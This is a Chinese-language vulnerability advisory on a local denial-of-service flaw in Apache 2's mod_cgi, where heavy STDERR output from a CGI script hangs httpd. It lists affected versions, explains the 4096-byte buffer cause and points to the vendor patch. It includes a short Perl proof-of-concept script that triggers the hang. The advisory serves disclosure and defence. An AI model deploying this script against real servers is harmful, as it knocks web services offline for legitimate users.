首页 -> 安全研究

安全研究

安全漏洞
Apache2 MOD_CGI STDERR拒绝服务攻击漏洞

发布日期:2003-09-29
更新日期:2003-10-08

受影响系统:
Apache Software Foundation Apache 2.0a9
Apache Software Foundation Apache 2.0.47
Apache Software Foundation Apache 2.0.46
Apache Software Foundation Apache 2.0.44
Apache Software Foundation Apache 2.0.43
Apache Software Foundation Apache 2.0.42
Apache Software Foundation Apache 2.0.41
Apache Software Foundation Apache 2.0.40
Apache Software Foundation Apache 2.0.39
Apache Software Foundation Apache 2.0.38
Apache Software Foundation Apache 2.0.37
Apache Software Foundation Apache 2.0.36
Apache Software Foundation Apache 2.0.35
Apache Software Foundation Apache 2.0.32
Apache Software Foundation Apache 2.0.28
Apache Software Foundation Apache 2.0
Apache Software Foundation Apache 2.0.45
    - Conectiva Linux 9.0
    - RedHat Linux 9.0
    - Trustix Secure Linux 2.0
描述:
BUGTRAQ  ID: 8725

Apache HTTP服务器是流行的开放源代码WEB服务器程序,可使用在Unix和Windows操作系统下。

Apache2在处理CGI脚本输出超多数据到STDERR时存在问题,本地攻击者可以利用这个漏洞对Apache服务程序进行拒绝服务攻击。

在mod_cgi模块下如果在完成写入和关闭STDOUT之前CGI脚本输出超过4096字节到STDERR,由于mod_cgi中write()调用被琐等待CGI中获得更多输入而挂起。问题主要是mod_cgi开始读取所有stdout输入,然后开始读取STDERR输出,APR的处理流的file_io只有4096字节的缓冲区,在后续的脚本继续写入数据到STDERR时会挂起,等待mod_cgi通过APR file_io从流中读取部分数据。

由于Apache 2会等待从恶意CGI应用中获得更多输入,httpd进程就会挂起,当达到Apache限定的最大连接限制时,Apache就会停止正常的用户请求。

<*来源:Apache Bug Database bug entry
  
  链接:http://nagoya.apache.org/bugzilla/show_bug.cgi?id=22030
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
# 24x170 = 4080 bytes to stderr
foreach my $x (1..24) {
  print STDERR 'X' x 169 . "\n";
}
# + 17 more bytes, putting us at 4097
# Delete one char from the print below to make
# it work again
print STDERR "0123456789ABCDEF\n";
# Our actual script output, which never comes
print "Content-type: text/plain\n\nASDF\n";

建议:
厂商补丁:

Apache Software Foundation
--------------------------
latest CVS release已经修正此问题:

http://www.apache.org/

浏览次数:3443
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障